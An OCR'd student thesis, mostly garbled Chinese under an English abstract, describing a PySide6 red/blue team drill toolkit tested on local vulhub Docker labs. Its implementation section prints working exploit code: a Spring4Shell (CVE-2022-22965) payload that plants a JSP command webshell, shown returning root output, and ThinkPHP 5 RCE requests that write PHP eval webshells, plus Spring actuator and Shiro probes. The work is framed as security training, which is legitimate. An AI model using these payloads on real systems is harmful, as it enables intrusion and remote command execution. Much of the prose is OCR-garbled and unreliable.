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Design and Implementation of a Red Team and Blue Team Drill

System in Enterprise Environment

Abstract

In the era of network and information technology, the development of enterprise
operations cannot be separated from the network. The security issues of enterprise
networked environment are becoming increasingly prominent, and incidents of hacker
intrusion and information leakage are constantly emerging, causing huge losses and
adverse effects to enterprises. The Red Team and Blue Team exercises provide
simulation tools for real network environments for confrontation. Enterprises can use the
Red Team and Blue Team exercises to verify and reinforce their security. Therefore, this
article designs and implements a complete enterprise Red Team and Blue Team exercise
toolkit system based on the enterprise network security exercise scenario. The system
design level includes the presentation layer, business rule layer, and simulation shooting
range layer. The presentation layer is the operation layer, which can be operated through
a friendly interface to achieve various operations and view various information; The
business rule layer is used to handle various key core functions, including red team
attack and defense simulation, blue team auxiliary defense, and drill management
modules, to simulate attacks using various vulnerabilities, real-time packet capture, log
analysis, threat perception, and other functions; The simulated shooting range layer
constructs a simulated enterprise network environment for simulation exercises. Clear
division of labor at each level, mutual assistance, and improvement of system efficiency.
This system can provide assistance for enterprise network security drills, accurately
analyze weak links in enterprise network security protection, propose network security
protection plans, effectively solve network security problems, and ensure enterprise

network security.

Keywords: Web crawler,network adversarial,vulnerability detection,defense assistance
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IR BlnsE SC— A eRdl, R B 2 def wokog e KL, i fi M 42t U7 X
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PySide6 H{5 5 51 i 50 5 2 (8] AT 8 5 e M Th g . (55 S ALt 2 i
[ B fid A 578 e ko G B 7 T FE DRI (R B K, AT S B ) R 1045 S A 8 5 B
o 45 2 A S R G S5 S8R E ] R G0 i DL G & 18 T
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Request ESR AL 7R BLAIZ5 2 11, (TR & Re8 58 & Pl b 28 22 HLARAE, 18
i VR 7 SR o B R PT 58 %% AR ERAE, il GET. POST. PUT. GET. HTTP %5%%.
MR KR T 28I AE I R AR, SR AR AR A & W W 2R 3R 40 76 2N
MR & #ARBUH A BE S, WA get)/71EE R GET #4E; FERIEAIATS
SERBBIRS A, A post) %5 KIRAE POST #:1E.

ZEEST HTTP (g R 2477 67 Ha e REl, SCREFIS M & Hil ik User-agent.
Content-Type %535 5, SCRFBIZE 7 difg o5 Fl bR 55 1) i 55 o S8 R i€ IRTE 3K, 3¢
Fint 2 2 R0 AT B R, B2 URL NG RIERIAERAE RS H1E L
A B W, BIE A DR AR, SR REEE& L, W1 Json. Xml &, A4
RIBOT R TN
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Al X 285 22 45 5 R G0 R 5 RS R FH 2R 2R AL B A5 Al L . IRSS, SEELBEI o 15
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A N A PG R IR R, B R
2.2.2 REFEK
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FREZA. REAGWMEN T HIT k6], RAERAR A AEH, I BT
Tl OR—UERIERNE . NA . BIEE A S IEBERILR IR, ARG I
SHIRMAFREE . K. 2R, T T EAR G B AT, wn
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F 25U £ S e Ui B e s AR e 70, AE 2 AP GRIN 8] Y6 R A R ) S VR A
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JERIH ., T 47 i R Hp AN K B T 6 B2l o FH I 4 R R G e R, S £l 1 AR
2.3 AT
2.3.1 EARFTHS

RAGEFAR EREWATIE. $—, JFRIES AL, Python iff 5 H & ] L (H 1
FRIVEZ RN DB KT 2 6 O BR T 2 LA BOR BRI AL X, ARZ 5 SEE KR 23 I A% O 55 AT
e, LAz E A S . W IEIE . B . B HTTP 5K, HA AN
TR FH I SR JZE U0 requests JE, FFARYE iko 25 PESLILXT SSH M SEbRIZ FES& ], SEILLT
BABEANL. X EERAMTESS, Python H &3 #7 e T DIMARMESE R SLl H &0t s py HE
fitett e (pylogsparser) BUEERK SIEM R 4iH API HE 7T FE. PySide6 #2451 Qt
[¥] python 4852, &4 Qt & GUI TR LR, LFFZ&FEIT R 515 5/k4. PySide6
A LASZBLB BN G G847 IR, Qt Designer A LAJT (B fRifb I K AR, SR &)
[ UL 0%t Hbnizd e, KA Docker 3L E AR, SLHLEENLIZ 5t PRIE R 2
¥, 85T python EFMLIAG S, SCHLZ T S ML 1 5 (0 m bk B,
JEFFAR VirtualBox KVM %5, K #4) & Al WX 48 A2 25, 1T LASCRFE Metaspilot. Nmap
BB TR, W LIS ST 7 RAMATEE AR B, R
KaliLinux 2520 &, HARELHEW, LBl N A B i@ SN A, B
MA@ python B A KAt X, BEARTTF R MERE, #RARITE B .
2.3.2 ZFA(TIES

MEBE FAyHT, ZIH TR A, 5 o T E R AR B N L (OF
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Docker 25) IR G 9, 520 K R0 B A o WA AR B AW'S IR L 2 #1373
B, HBBIATEIRY R, WHRERA . BIBTEF KA R AT 1 A] LR F
(Scrum) PR ITTI0, Sek A B IIRE(fR 218, ¥ EH), A mBIRE(e
H AR — R . N LRI SR), 7 BUSA . ARG R LA T BATE
RGBT, RIPPIB S RE ), RSk Sty ST IMET BN . 1k
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FARMETHE T BA BB R L
2.3.3 #HBAERITHED

KRGS ETHRAE, 5L sebrfE R E B . £ L, PySide6
GUI FHEAEAE AR, fHfmfad, B RN A LN TEBAARZE TUERZLBA . K
BN A= AT UIHe, AN TRELH Pl 2105 SR o £0IAAE £ A BUAT 55 T AR R 41
PABGE AR, W EANBGESE (P, w . J§IASE) , WANZENREAS, Sert
SERTHE R R WA BATE W DA B AR S S5 T AR 5 7 W AU B ¥ AR i FE A B R
HERN, PATIEARL SHRAE . RGO BT g o, I Ha3)E B L0\
EART s LPAMZSHER, A Docker 5 356 H AR o] — B AUE IR SEMIIA1L . 45,
> RFIBYER IR . RGRIMRIE SO, WIMENEE S, X WAREEEAT 70 P4
S, BAEBGEEA, WEBEBINE. WA FEBARE S, A
1IN/ BN 53 AL R ER AT, Wi OR T 4R 22 Ao R T 1) P A 000 P ) B A
TRT RFEIER) I 5 FHERT SN, it T H w2

2010 71 3t 39 T



it X5 2025 EEEM IR ITIRER P

3 ARGt

3.1 BRI
AL NS BEESG T A EN T ABR, 2RIE. WFEHE.
BANZ, #2500 T, PMEDE, Mermr iyt iy RIS REiE".

==
(ERpyside6 i TREIRNEN)

WEEEE
(GEHpythonfJrequestsE=3E3CH1)

257 3 =
(FEREvmwarePIEEIIEES)

Kl 3.1 Bk

| Bk W | il 3.

LI X RGERAE, FHEAH P ROEE R BRIEER. PR
R IALGE B 4% . 1 & Be e 85 B P O [ B B 2 Mol dRbs, AP AR L AL
EEWMANEN, V& WA REEAT TG, BRIER. @5, 4857 P EH
A |

M 253Z 48 2 %0 2, FH T SEBASADLAT. A BB Rt B 0 BA 7 6 (4 L 55 18 4 T e
PRI E AL R K, A DR AR AL Y 5532 %8, R [RIAb BRI, 4ot
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s W BB A B T RE AN X 2% H 7 R R T BE KU . |
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3.2 INRERBREIT
3.2.1 IPALEHARIUIELR

TR
S o _ B2 R
“‘p””gb;!j}%ﬁﬁ*m shiroEaN th'”kphpﬁmﬁj Fﬁéggﬁﬁj - wENIESREEE
o FERI1IS)

Kl 3.2 ZLBAAH

2L NI B 2 i IR A I S B A R, ARl 3.2,

RS B S P & U LS R s N I P WE S 1N o1 =E N S X
. SCRFMVOE . RS o BT M BT AP B R . e
it A B AR BN 8w 1, 9 — B Bah R A .

IR . ey 7 — S R B AR . TR, A 0O B R 36
EE IR P Do e st sl P R s D) A N BT S AT IR I R 82N AP R VAR AN
K Ja BRI 3R RGAR ™
3.2.2 IEPAR{ENHH AR LR

fik
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=h
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o
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|
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4 RGLH

4.1 BIERTIE AYSCIR

A TR FEAEH python KiHEATYR S , H bl VKA T python H1] PYside6
PER AT NS , ilid % > PYside6 J5FRIEFE [ E github F R — A TFIEI A A A o
wEl 4.1,

& O | @ https//github.com/Wanderson-Magalhaes/Modern_GUI_PyDracula_PySide6_or_PyQt6 B a A Q  sUER a
PEswe OxE D IM: D)¥Ixe D)RETa O HIE O wmaems ) olst @ Q Gesyfok-%2. © —oil% [N SOREMFEN. Q BngA-#% [ ERTFET - 1.

& Wanderson-Magalhaes / Modern_GUI_PyDracula_PySide6_or_PyQt6 ' Pubiic L Notifications % Fork 589 w

<> Code (@ lIssues 28 19 Pullrequests 5  ® Actions [ Projects @ Security |~ Insights

¥ master ~ ¥ 1Branch © 0Tags Q Go tofile <> Code ~ About

No description, website, or topics provided.

@ Wanderson-Magalhaes Fix High DPI and Scale above 100% 6701083 - 4 years ago O 9 Commits
M Readme
images v1.00 4 years ago & MIT license
3 modules V103 dyearsago | ¥ Aty
Y 2.8kstars
themes v1.00 4 years ago ® 36 watching
widgets v1.02 4 years ago % 589 forks
Report repository
D) gitignore v1.02 4 years ago
[ LICENSE v1.02 4 years ago Releases
[ README.md Update README.md 4 years ago Nojreleases published
i a 4
D iconico v1.00 4 years ago Packages
D) mainpy Fix High DPI and Scale above 100% 4 years ago No packages published
D mainui v1.03 4 years ago
Languages
D) resources.qrc V100 4 years ago

& Duthan 1000%

Kl 4.1 FirmDhag Sl -1
PR BT b AR AS R 2, AR e B T g, 1 AR R H AR SR T
PYside6 FER] LA QT Wit iix A~ L H R T R EEAE. Wk 4.2,

D Qt i - Qt Designer - =] X
XHHE) WEE WEQ) WEY) RES BOW B
DwHA EEETHIELES: Y-
BO#E 8 X | MainWindow - main.ui 8 x
:
Z Layouts AT E Ty B
5 Vertical Layout © MainWindow |
1] Horizontal Layout v & styleSheet
88 Grid Layout ~ I bgApp
2 Form Layout |
v Spacers ErEs 8 x
ad) Horizontal Spacer 4 7l
E Vertical Spacer 0
e Buttons. =S &
(2 Push Button =
(&) Tool utton objectName MainWindow
@ Radio Button
B CheckBox windowModality  NonModal
© Command Link Button grabled L
> geometry [(0, 0), 1020 X 5...
Didlog Button Box 5 sizePolicy [Preferred, Prefe..
¥ item Views (Model-Based) e SAORISE
[&] ustview — %
SR Tree View B 560 b/
f5 Table view v maximumsize 16777215 x 167,
[0 column view =E 16777215
[ undo view BE 16777215
v item Widgets (item-Based) ke arement gx0 =
[ vist widget ABALSE WX
%18 Tree Widget ] /¢
f5 Table widget v <resource roo...
v Containers v icons
(=] Group Box v fimages
[0 scrol area o imgesmm
B ool Box BE/MEEE  ofwES  mRass

K 4.2 R RESEILIE -2

214 T 3t 39 T
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7E QT BiHIi B B AR /) DL T R30S i 9 EOR A LA AR 3k AT 42 #1
SRIG A RARED, ARG B NARHD TR 32241 DA S A N B T T 3t AT 4058« anl&l 4.3,

Jldget qetLurrpntwldget(uldneta 1d)
.resetStyle(self, btnName) # F

btn.setStyleSheet (UIFunctions.selectMenu(btn. 5ty1e5hept )) #

&l 4.3 w3 AR
AN 5E 56 e A T8 ACR o — 28 | A8 A 4075 55 gl 5¢ B I I D I )
o N 4.4 Jigon 1 AT BT .

PyDracula

4.4 iy UL P
A B i oS e R B ETe U, dvwet, EHRIAN TR, JiE

Z G IRNHTH DU LA D RE, 380 T 20 AR IR IR A AR A - DA Rs T AR T
HAE
4.2 BORAEsEI
4.2.1 RNz R

S BAN TR B RTE AT T ARG IR, S35 F A requests PR SR AR 177 e I 1) 52 B
H Ay SEIL
(1) Spring boot ARFAUHLIN LKA FH A% A5 SE I

A AT S A ARE P N, ARS8 requests ZE SR T30 52 B I A o
FERI AT SEH

=
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R AZ ARG -

spring_boot_jiance(self):

if(self.comboBox_spring.currentText() == "spring boot A4ZIL"):

url = self.line_spring 1.text()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
¥
path = ['/actuator', '/actuator/dump','/actuator/info',"'/actuator/env']
for i in path:
new_url = url + i
response = requests.get(new_url, headers=headers)

if(response.status_code == 200):

self.edit_spring_1.append(f"+{new_url }7{EAIZHT ™)
else:

self.edit_spring_1.append(f"*{new_url} AN{EfEARBZELT ™)

IR A

spring_boot_liyong(self):

if(self.comboBox_spring.currentText() "spring boot ARIZIL"):

url = self.line_spring_1.text()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
3
path = ['/actuator', '/actuator/dump','/actuator/info","'/actuator/env']
for i in path:
new_url = url + i
response = requests.get(new_url, headers=headers)
if(response.status_code == 200):

self.edit_spring_1.append( new_url}:")

self.edit_spring_1.append(response.content.decode())

elif(self.comboBox_spring.currentText() "Spring Framework"):
headers={

"suffix": "%>//",




th b X5 2025 J@ Bl g 3t 1 PR 3
"cl": "Runtime",
2" <"
3
payloadl='/?class.module.classlLoader.resources.context.parent.pipeline.first.pattern=
% iif("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in
= %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b =neu|
byte[2048]; while((a=in.read(b))!=-1){ out.println(new

String(b)); } } %{suffix}i&class.module.classlLoader.resources.context.parent.pipeline.first.suffix

=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/RO0T&cla

ss.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classlLoade
r.resources.context.parent.pipeline.first.fileDateFormat="
url=self.line_spring 1.text()
payload2="/fuck.jsp?pwd=fuck&cmd=id"
try:
Ul=requests.get(url=url+payloadl,headers=headers,verify= ,timeout=3)
U2=requests.get(url=url+payload2,verify= ,timeout=3)
if U2.status_code == 200:
self.edit_spring_1.append(f"JwiflHitl A : {url + payload2.replace('/',"'')}")

except Exception as e:

print(e)
(2) shiro JwiFAFMZ OASSEEL
it pyside6 [FF AHESR BRI HIE, 285185 requests KXl & il =K,
OO S 5 A, R FH T D R e R e A rh R 2, e S ) A A TS
£ rememberMe=deleteMe 7Bl, #4 WIAFFE shiro HEZL.
AR

shiro_jiance(self):

if(self.comboBox_shiro_1.currentText() == "shiro"):
url = self.line_shiro_1.text()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
}
data = {
"username"” : "admin",

"password" : "123456"

}

response = requests.post(url, headers=headers, data=data)

test = re.search( ,response.headers['Set-Cookie'])
if(test):

self.edit_shiro_2.append("*{7#7E shiro fEZL")

=
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else:

self.edit_shiro_2.append("+/ANf77E shiro HEZE™)
(3) thinkphp 5.0.23-rce F1 Thinkphp5-RCE I MIF FH (R A% CoAC i S B
[ b, J#id requests FERSEZH
REAZ AR <

thinkphp_jiance(self):

if(self.comboBox_thinkphp_1.currentText() == "thinkphp5.0.23-rce"):
url = self.lineEdit_thinkphp_1.text()

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
¥
new_url = url + "/index.php?s=captcha”
data = {
" method" : "__construct”,
"filter[]" : "phpinfo",
"method" : "get",
"server[REQUEST_METHOD]" : "-1"
¥
response = requests.post(new_url, headers=headers, data=data)
if(response.status_code == 200):
self.edit_thinkphp_2.append("*{7{L thinkphp5.0.23-rce j

else:

self.edit_thinkphp_2.append( "+~ f74E thinkphp5.0.23-rce JFif")

elif(self.comboBox_thinkphp 1.currentText() == "Thinkphp5-RCE"):
url = self.lineEdit_thinkphp_1.text()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
¥
new_url = url +
"/index.php?s=/Index/\\think\\app/invokefunction&function=call user_func_array&vars[0]=phpinfo&va
rs[1][]=-1"
response = requests.get(new_url, headers=headers)
print(response.status_code)
if(response.status_code == 200):
self.edit_thinkphp_2.append("* {7{£ Thinkphp5-RCE
else:

self.edit_thinkphp_2.append("+ AS{E{E Thinkphp5-RCE JRif")

A A ARG -
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thinkphp_liyong(self):
if(self.comboBox_thinkphp_1.currentText() == "thinkphp5.0.23-rce"):
url = self.linekdit_thinkphp_1.text()

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
3
new_url = url + "/index.php?s=captcha”
data = {
"_method" : "__ construct”,
"filter[]" : "system",
"method" : "get",
"server[REQUEST_METHOD]" : "echo \"<?php
file put_contents('shell.php',base64_decode('PDO9waHAgQGV2YWwoIFIQTINUWYJzaGVsbCIdKTs/Pg=="));?>\"
> 123.php"
3
response = requests.post(new_url, headers=headers, data=data)
if(response.status_code == 500):
new_urll = url + "/123.php"
responsel = requests.get(new_urll, headers=headers)
print(responsel)

if(responsel.status_code == 200):

self.edit_thinkphp_2.append(f"webshell {7 & :{url}/shell.php, %5} :shell™)

else:
self.edit_thinkphp_2.append(" FALJiE")
elif(self.comboBox_thinkphp_1.currentText() == "Thinkphp5-RCE"):
url = self.linekdit_thinkphp_1.text()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36"
3
new_url = url +
"/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1l
[]=echo \"<?php @eval(\$_POST[1]);?>\" >1.php"
response = requests.post(new_url, headers=headers)
if(response.status_code == 200):
self.edit_thinkphp_ 2.append(f"webshell {7 & :{url}/1.php, &L ly:1")
else:

self.edit_thinkphp_2.append(" FALJE")

4.2.2 BHNT B#Zz KL
T R N T E, AREEREIAR T . ankd 4.5 & 15 BAEE AT
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Home _
Wireshark FiddlerR LAz

Em
BT

springboot

; BrowsingHist SEE= Winc E—RAT Emerge i Burpi 8
shiro

thinkphp AT
TERA - o
B SEWRE R MROllydbg

Exit

Left Box

K 4.5 i s i A SR Al T L ]
B AR :

.btn_liuliang@l process = QProcess()
.btn_liuliang®@l.clicked.connect(self.btn_liuliang@l start)
.btn_liuliang@2 process = QProcess()
.btn_liuliang®@2.clicked.connect(self.btn_liuliang@2_start)
.btn_liuliang®@3 process = QProcess()
.btn_liuliang®@3.clicked.connect(self.btn_liuliang®@3_ start)
.btn_liuliang@4 process = QProcess()

.btn_liuliang®@4.clicked.connect(self.btn_liuliang@4 start)

btn_liuliang@l_start(self):

jar_start = \1 \T

self.btn_liuliang@l process.start(jar_start)

btn_liuliang@2_start(self):

jar_start = "D:\student\ldtools\Tools\BT-Analysis\BTtools2\BlueTeamTools®@.85.jar"
self.btn_liuliang®2 process.start("java", ["-jar", jar_start])
btn_liuliang@3_start(self):

jar_start = \1 \T

self.btn_liuliang®@3 process.start(jar_start)

btn_liuliang@4_start(self):

jar_start = \1 \T

self.btn_liuliang@4 process.start(jar_start)

4.3 TheEsLIR R
4.3.1 spring RIFHRHEBREN S F) B MK
TR RN AT . Wi 4.6,

2 20 7 3t 39
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~/bishe/spring/CVE-2022-22947

+ Container ¢ spring-1 S

~/bishe/spring/CVE-2022-22947

COMMAND
"java -Djava.securit..”

~/bishe/spring/CVE-2022-22947

K 4.6 JFTRILY
SRR AED A TR AT VT iR . Nl 4.7

@ M [ Example Domain x ==
a 12 Q  mutiEgR

© s [ R meTAN.  Q BngAl-@®E [

& C  AFme 192.168.234.1488080
P eBre xs D IEME P 2Ixa P maTa P iTE £ ARERRE ) et @ Q) Greayfok-%2.

Example Domain

This domain is for use in illustrative examples in documents. You may use this
domain in literature without prior coordination or asking for permission.

More information...

K 4.7 vjlnl ez
SR G ZIRTR url BN T E AT ..tk 4.8,

IENET 28 & - 0 X

spring boof v —#SIE —#HA

Home

Bl 4.8 ThAEKI
SR G BATET LAR BIAFAE RAZA7 18], 5ok R B AT 3R BR324 1 A R Y
7%, K 4.9, K 4.10.

=
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HIETER

"properties

Home

K 4.10 ThaeF
FRINAI ] o
4.3.2 springboot RCE jRiEAYAM 5% H
FERENL AT I, AFm . &l 4.11,

~/bishe/spring/CVE-2022-22965
P

~/bishe/spring/CVE-2022-22965
README.md README

~/bishe/spring/CVE-2022-22965

13 OMMAND

~/bishe/spring/CVE-2022-22965

Kl 4.11 JF)3 springboot RCE #17
SRIGAER R s AT U iF) o A&l 4.12,

%22 7 3t 39
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@ M [ txample Domain x 4+
& G | AF=e 192168234.1488080 S Gg——

Peewe Dx= DI=M: D) ¥IxsE O AT DulE ) amesms ) ewst @ O Geasyfok-Z2. @ 5t [ SsURE9FEE..  Q BingAl- 8%

Example Domain

This domain is for use in illustrative examples in documents. You may use this
domain in literature without prior coordination or asking for permission.

More information...

K 4.12 j17] springboot RCE 417
KR T AFAER url TR THA TR . & 4.13.

=EMEEIAS

RS

springboot

shiro

thinkphp

K 4.13 springboot RCE i F FH-1
Vi AR F1 ) url BPAT . WP 4.14.

@ O ) 192168.234148:8080/fuckjsprpr X

= @ %
& C A FE2 192.168.234.148:8080/fuck jsp?pwd=fuck&cmd=id Q Sl @
B rEsE Pxs P ISME D)YIvs D RETs DHIE O amesms O wlet @ Qceyfok-2e. © —oiE [§ SEREeFHSn. Q sngA-2R [ E2IFEI 1. > B st

uid=0(root) gid=0(root) groups=0(root) // -if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getinputStream(); int a = -1; byte[] b
=new byte[2048]; while((a=in.read(b))!=-1){ out.printin(new String(b)); } } - -if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getinputStream(); int a = -1; byte[] b =new byte[2048]; while((a=in.read(b))!=-1){ out.printin(new String(b)); } } - uid=0(root) gid=0(root) groups=0(root) // -
if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b =new byte[2048]; while((a=in.read(b))!=-1){
out.printin(new String(b)); } } - uid=0(root) gid=0(root) groups=0(root) // -if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getinputStream(); int a = -1; byte[] b =new byte[2048]; while((a=in.read(b))!=-1){ out.printin(new String(b)); } } - uid=0(root) gid=0(root) groups=0(root) // -
if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b =new byte[2048]; while((a=in.read(b))!=-1){
out.println(new String(b)); }} -

K 4.14 springboot RCE i F| FH-2
JFRINAI ] o

2523 71 4k 39 T
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4.3.3 shiro i EAH NN
BN BN S, &FumH. ik 4.15.

~/bishe/shiro/CVE-2020-1957
up

v Container ¢ 20-1957-web-1 Start

~/bishe/shiro/CVE-2020-1957

ps
INER ID IMAGE POR
07d12b2 vulhub/shire:1.5.1 -jar /shirodem..” s agc L s 0.0.0.0

~/bishe/shiro/CVE-2020-1957

K 4.15 FF)5 shiro 4837
SRIGEN s TR AT U5 1A .tk 4.16.

@ M ¢ Getting Started: Serving Web Cor X

& X A FEs 192168234.148:8080 ) Q g

Plfsmws Pws P IS 0)FIvsE O mA¥a C)ilsE P ARESME 0 st @ O Geayfok-22. € Joils [ RER-SeTmEm..

Hello, World!
Login i e—

Account info (Requires authenticated.)

K 4.16 VA shiro #37-1
i login, WKl 4.17.

@ [ [ Getting Started: Serving Web Cor X =+
k] Q  sultE=R

B mrEEmss £ it @ Q¥ GreasyFork-%2. @ —THE [ SR E8FEN.  Q Bin

<& O A FE2 192.168.234.148:8080/login.html

P Eere Pwxs P IEMms P eIvs £)RET

Here are a few sample accounts to play with from the text-based Realm

Username Password Roles
admin vulhub  admin

Login

Usemame or Email
Password

‘ Login

K 4.17 VA shiro #37-2
SR JE IR IR ) url =) 2 T g, i 4.18.

=
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& - 0 X

url: shiro v —#LIE —8HA
Home T fEshiro{ER
ER
springboot
shiro
thinkphp

BEATE

Exit

K 4.18 shiro JEiFRA I
B A] IS AFAE R

4.3.4 thinkphp5. 0. 23-rce JEEBYHE N S F1 BB M5
BN T Yy, JEE R L. WK 4.19, K 4.20.

~/bishe/thinkphp/5.0.23-rce
docker-compose.yml README.md README.zh-cn.md

~/bishe/thinkphp/5.0.23-rce
up

« Container 5023-rce-web-1

~/bishe/thinkphp/5.0.23-rce

K 4.20 4TJF thinkphp5.0.23-rce #37-2
SRIGEN A AT Ui IRl . anl&] 4.21.

25 W3t 39
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@ @O [ 192168234.148:8080 x B
w Q mAtER
Q Bing Al - 8% EETFES -

<& G AF=EE 192168.234.148:8080
© s [0 ReR-meEn..

PDesre OxE BDIsms D¥Ivs D mEEYeE D aDE 6 amEems B it @ Q) Greasyfok- =2

ThinkPHP V5

THE—E) - IAPIFTRIRITHISIEREESR
[ V5.0 KA 5t RIS |

K] 4.21 Vil thinkphp5.0.23-rce #1117

SRJE R url B2 T A AT
EEHATIEIN, IR . A 4.22,

& - 0 X

v —REIE —RAR

Home
RE
springboot

shira

P 4.22 thinkphp5.0.23-rce I A

SRIGEHT R . W& 4.23,

% 26 7 3t 39
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HIET AR

shiro

thinkphp

EMTE

Exit

& 4.23 thinkphp5.0.23-rce Il A -1
Al LU B E M SO BAR RS, £Viin. il 4.24,

M@ O [ 192168.234.148:8080/shellphp X

<& G A F=2 192.168.234.148:8080/shell.php e [OR=1:v %
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